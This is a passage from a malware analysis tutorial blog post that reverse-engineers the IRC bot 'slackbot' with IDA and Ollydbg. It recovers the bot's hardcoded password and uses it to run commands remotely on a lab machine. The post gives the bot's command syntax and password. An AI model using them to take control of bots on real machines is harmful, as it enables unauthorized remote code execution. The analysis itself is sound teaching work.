Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;In the screen cap below, I have highlighted the code block for&amp;nbsp;&lt;b&gt;!@id&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-q_pVUyUW8XE/ThitvYGv0uI/AAAAAAAAAo4/js-L7AGUbBs/s1600/4-ida-id-time-check.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="132" src="http://4.bp.blogspot.com/-q_pVUyUW8XE/ThitvYGv0uI/AAAAAAAAAo4/js-L7AGUbBs/s640/4-ida-id-time-check.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The instruction at 00401B9E pushes the value &lt;b&gt;!@id&lt;/b&gt;&amp;nbsp;on to the stack. The next instruction at 00401BA3 is then putting some string value to the stack. At this point, this seems to be the command entered by the &lt;a href="http://en.wikipedia.org/wiki/Botherder"&gt;bot herder&lt;/a&gt; / creator or the analyst at the IRC channel &lt;i&gt;#jigyaasa&lt;/i&gt;. The next instruction is a call to &lt;a href="http://en.wikipedia.org/wiki/Strcmp"&gt;strcmp&lt;/a&gt;, for string comparison. It appears to be comparing the 2 values that were pushed on to stack earlier. So, simply it is trying to confirm if the string value at 00401BA3 [ i.e. the command given to the bot ] is &lt;b&gt;!@id&lt;/b&gt;&amp;nbsp;or not. If both the values match, then &lt;a href="http://en.wikipedia.org/wiki/X86#Purpose"&gt;EAX&lt;/a&gt; register value is set to &lt;b&gt;0&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Later you see, the instruction at memory location 00401BAE is performing an OR between &lt;a href="http://en.wikipedia.org/wiki/X86#Purpose"&gt;EAX&lt;/a&gt; and EAX. It is checking to see if the value in EAX register is &lt;b&gt;0&lt;/b&gt;. The logic behind &lt;b&gt;OR&lt;/b&gt;&amp;nbsp;instruction is as follows:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If A = 1 and&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;B = 1, t&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;hen A OR B = 1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If A = 1 and B = 0, then A OR B = 1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If A = 0 and B = 1, then A OR B = 1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If A = 0 and B = 0, then A OR B = 0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;That is, if both the variables has a value &lt;b&gt;0&lt;/b&gt;, only then the output of &lt;b&gt;OR &lt;/b&gt;operation will be &lt;b&gt;0&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Following this, you see there is a &lt;a href="http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Jump_on_Zero"&gt;JNZ&lt;/a&gt; instruction. JNZ is '&lt;u&gt;Jump if Not Zero&lt;/u&gt;'. This means, if the EAX is NOT 0, then the execution flow will jump to the memory location 401C53. Else, the execution will continue.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In the next few instructions that follow, the &lt;b&gt;time&lt;/b&gt; function is called. Therefore, when we entered the &lt;b&gt;!@id&lt;/b&gt;&amp;nbsp;command earlier in the &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;Behavior Analysis phase&lt;/a&gt;, the bot returned the&amp;nbsp;current system time as the response.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Note also, there is no other string comparison happening in this block for !@id command. It would be hence safe to consider that this command does not take any parameters.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's move on to a more useful command, &lt;b&gt;!@login&lt;/b&gt;. Recall that when we entered this command in the channel earlier in the &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;Behavior Analysis phase&lt;/a&gt;, we did not receive any response from the &lt;a href="http://en.wikipedia.org/wiki/Botnet"&gt;bot&lt;/a&gt;. It is quite possible that this command requires a parameter.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Below is the graph view of the code block for &lt;b&gt;!@login&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-vmcVzZHyo3E/ThitupJT7PI/AAAAAAAAAo0/0QrLKmfG1rY/s1600/5-ida-login-pass-check.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="372" src="http://3.bp.blogspot.com/-vmcVzZHyo3E/ThitupJT7PI/AAAAAAAAAo0/0QrLKmfG1rY/s640/5-ida-login-pass-check.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We see in the top block, the same logic is taking place as that happened for &lt;b&gt;!@id&lt;/b&gt;. The string !@login and another string is pushed on to the stack, strcmp is checking if both of these are equal or not and based on the output, decides the flow of execution. Hence,&amp;nbsp;there are &lt;i&gt;two&lt;/i&gt; logical response paths originating from this block.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;First let's look at the left upper block. We see there are two strings - str1 and str2 - pushed on to the stack. Then there is a call to strcmp function and consequently, based on the result, either the execution continues to another code block [ follow the &lt;span class="Apple-style-span" style="color: red;"&gt;red&lt;/span&gt; line down ] without any jump Or the execution reaches the memory location 40210D, which is the second response path from the top block, on the right.&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here is the text view of the top block.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-4PwxjaiaI8Y/ThittUfAk_I/AAAAAAAAAow/ZSMNI5ZC7lI/s1600/6-ida-login-pass-check-text_view.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="268" src="http://4.bp.blogspot.com/-4PwxjaiaI8Y/ThittUfAk_I/AAAAAAAAAow/ZSMNI5ZC7lI/s640/6-ida-login-pass-check-text_view.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You see, at location 004020C5, there is a comment '&lt;b&gt;pass accepted&lt;/b&gt;'. If you follow upwards from here, you will find this response will occur when the EAX register is&amp;nbsp;0, that is the str1 and str2 values are equal.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To give a quick conclusion of&amp;nbsp;&lt;b&gt;!@login&lt;/b&gt;&amp;nbsp;block observations, there are 2 comparisons happening in here:&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1. First strcmp at location&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;00402093, confirms if the command entered is !@login or not. If it is not, then the execution jumps to location 40210D.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;2. If the command is indeed !@login, then the second strcmp at memory location&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B9&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;confirms whether the 2 string values - for str1 and str2, pushed to stack at memory locations&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B5 and&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B6 respectively - match or not. The string value most certainly is the password which is to be used to authenticate to the bot.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If the strings match, EAX = 0, and the message at location&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020C5 is printed out. Else, the execution flow jumps to&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;location 40210D.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Do re-read the above details again before you move on to the following steps.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;After this session with the disassembler, we have some understanding of how the &lt;a href="http://en.wikipedia.org/wiki/Authentication"&gt;authentication&lt;/a&gt; is to work in this specimen.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now it is time to trace the process execution flow. We will use &lt;a href="http://en.wikipedia.org/wiki/Ollydbg"&gt;Ollydbg&lt;/a&gt;, a simple to use and very powerful &lt;a href="http://en.wikipedia.org/wiki/Debugger"&gt;debugger&lt;/a&gt; for this task.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can get Ollydbg here:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="display: inline !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;a href="http://www.ollydbg.de/version2.html"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;http://www.ollydbg.de/version2.html&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From Wikipedia,&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 19px;"&gt;&lt;b&gt;OllyDbg&lt;/b&gt;&amp;nbsp;is an&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/X86" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="X86"&gt;x86&lt;/a&gt;&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Debugger" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Debugger"&gt;debugger&lt;/a&gt;&amp;nbsp;that emphasizes binary code analysis, which is useful when source code is not available. It traces&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Processor_register" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Processor register"&gt;registers&lt;/a&gt;, recognizes&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Function_(computer_science)" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Function (computer science)"&gt;procedures&lt;/a&gt;,&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Application_programming_interface" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Application programming interface"&gt;API&lt;/a&gt;&amp;nbsp;calls, switches,&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Table_(information)" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Table (information)"&gt;tables&lt;/a&gt;,&amp;nbsp;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Constant_(computer_science)" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="Constant (computer science)"&gt;constants&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/String_(computer_science)" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; color: #0645ad; text-decoration: none;" title="String (computer science)"&gt;strings&lt;/a&gt;, as well as locates routines from object files and libraries&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Start the IRC server, and connect to the channel &lt;i&gt;#jigyaasa &lt;/i&gt;from your analyst's / linux box.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Fire up Ollydbg and open the malware exe from C:\WINDOWS. Once it loads up in Ollydbg, press on the Start button - looks like the Play button. The execution is 'Paused' by default [ look at bottom right corner ].&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-tqBHE1ByYEo/Thi_k_wRI1I/AAAAAAAAAp0/j8Xo8r_thHQ/s1600/Z0-olly-load-bot.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://2.bp.blogspot.com/-tqBHE1ByYEo/Thi_k_wRI1I/AAAAAAAAAp0/j8Xo8r_thHQ/s640/Z0-olly-load-bot.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From information gathered using disassembing the malware exe earlier, we know that the strcmp call which checks the two strings - str1 and str2 - in the !@login code block, is at memory location 004020B9.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This means that every time there is an authentication attempt made to the bot, the program execution will be passing through the memory location&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B9. Therefore, we will now create a &lt;a href="http://en.wikipedia.org/wiki/Breakpoint"&gt;breakpoint&lt;/a&gt; at this location. This will help us analyze the state of &lt;a href="http://en.wikipedia.org/wiki/X86#x86_registers"&gt;registers&lt;/a&gt; and values at the point of authentication.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Press &lt;u&gt;Ctrl+G&lt;/u&gt;, type&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B9 and Ok. This will find the memory location of the strcmp call. Note that you may have to do a find twice. It's a little bug in Ollydbg.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CP3aZ-HrctM/Thi_jZDGWZI/AAAAAAAAApw/R9Ir_q0Bdd4/s1600/ZA-olly-find-strcmp-add.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://1.bp.blogspot.com/-CP3aZ-HrctM/Thi_jZDGWZI/AAAAAAAAApw/R9Ir_q0Bdd4/s640/ZA-olly-find-strcmp-add.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Once you are at the memory location&amp;nbsp;004020B9, right click anywhere and create a breakpoint from the menu. Or simply press F2 key to create the breakpoint.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-cHLr_1ejVhk/Thi_h3tQN2I/AAAAAAAAAps/2tdi3Oq3bAg/s1600/ZB-olly-find-strcmp-breakpoint.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://2.bp.blogspot.com/-cHLr_1ejVhk/Thi_h3tQN2I/AAAAAAAAAps/2tdi3Oq3bAg/s640/ZB-olly-find-strcmp-breakpoint.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can see the address turns &lt;span class="Apple-style-span" style="color: red;"&gt;red&lt;/span&gt; in color as soon as the breakpoint is set.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-V6Ylye6b6rA/Thi_gnFdJuI/AAAAAAAAApo/-_Ol9qKYDX0/s1600/ZC-olly-find-strcmp-f2-red.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://3.bp.blogspot.com/-V6Ylye6b6rA/Thi_gnFdJuI/AAAAAAAAApo/-_Ol9qKYDX0/s640/ZC-olly-find-strcmp-f2-red.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now go to the IRC channel and enter &lt;i&gt;!@login &amp;lt;any_password&amp;gt;&lt;/i&gt;. In our case, I entered &lt;b&gt;&lt;i&gt;!@login botpassword&lt;/i&gt;&lt;/b&gt;. You will not get any response. But look at the Ollydbg now. The breakpoint has been hit. The execution paused at location&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;004020B9, i.e. the strcmp call.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-pBrWWbo-vRc/Thi_ezDL-kI/AAAAAAAAApk/lvvMDROjPYg/s1600/ZD-olly-find-strcmp-hitbreakpoint-foundpass.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://2.bp.blogspot.com/-pBrWWbo-vRc/Thi_ezDL-kI/AAAAAAAAApk/lvvMDROjPYg/s640/ZD-olly-find-strcmp-hitbreakpoint-foundpass.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you look at the stack pane of Ollydbg, which is the bottom right, you will see some interesting values. You see here that the locations 0012F7E8 and 0012F7EC point to addresses on stack where the values for strings s1 and s2 are stored. Here we are able to see the s1 which is the password we entered at the IRC channel, and s2, with which our password is being compared to. &lt;u&gt;The value of s2 is "&lt;b&gt;jigyaasa&lt;/b&gt;" and this will successfully authenticate us to the bot.&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-dSEXQvOWKlg/Thi_dvrEdHI/AAAAAAAAApg/F51uo9rm_as/s1600/ZE-olly-find-strcmp-stackpane.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="390" src="http://2.bp.blogspot.com/-dSEXQvOWKlg/Thi_dvrEdHI/AAAAAAAAApg/F51uo9rm_as/s640/ZE-olly-find-strcmp-stackpane.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We have found the correct password. So you now go ahead and kill the malware process &lt;b&gt;nwhyy.exe&lt;/b&gt;, and run it again, through Ollydbg.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Once the bot joins the channel, enter the command:&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;!@login jigyaasa&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: center;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-2tA3cdgPveY/Thi_VPPjMRI/AAAAAAAAApI/2N5b5QUPWOo/s640/ZG-bot-in-control.png" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You see that the bot now responds with 'pass accepted'. Try to run a command remotely using:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;!@run notepad.exe&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The bot responds with 'file executed'. Let's see the screen at the Windows XP box where the bot is installed. We see the command has executed successfully and 'notepad' is opened remotely.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: 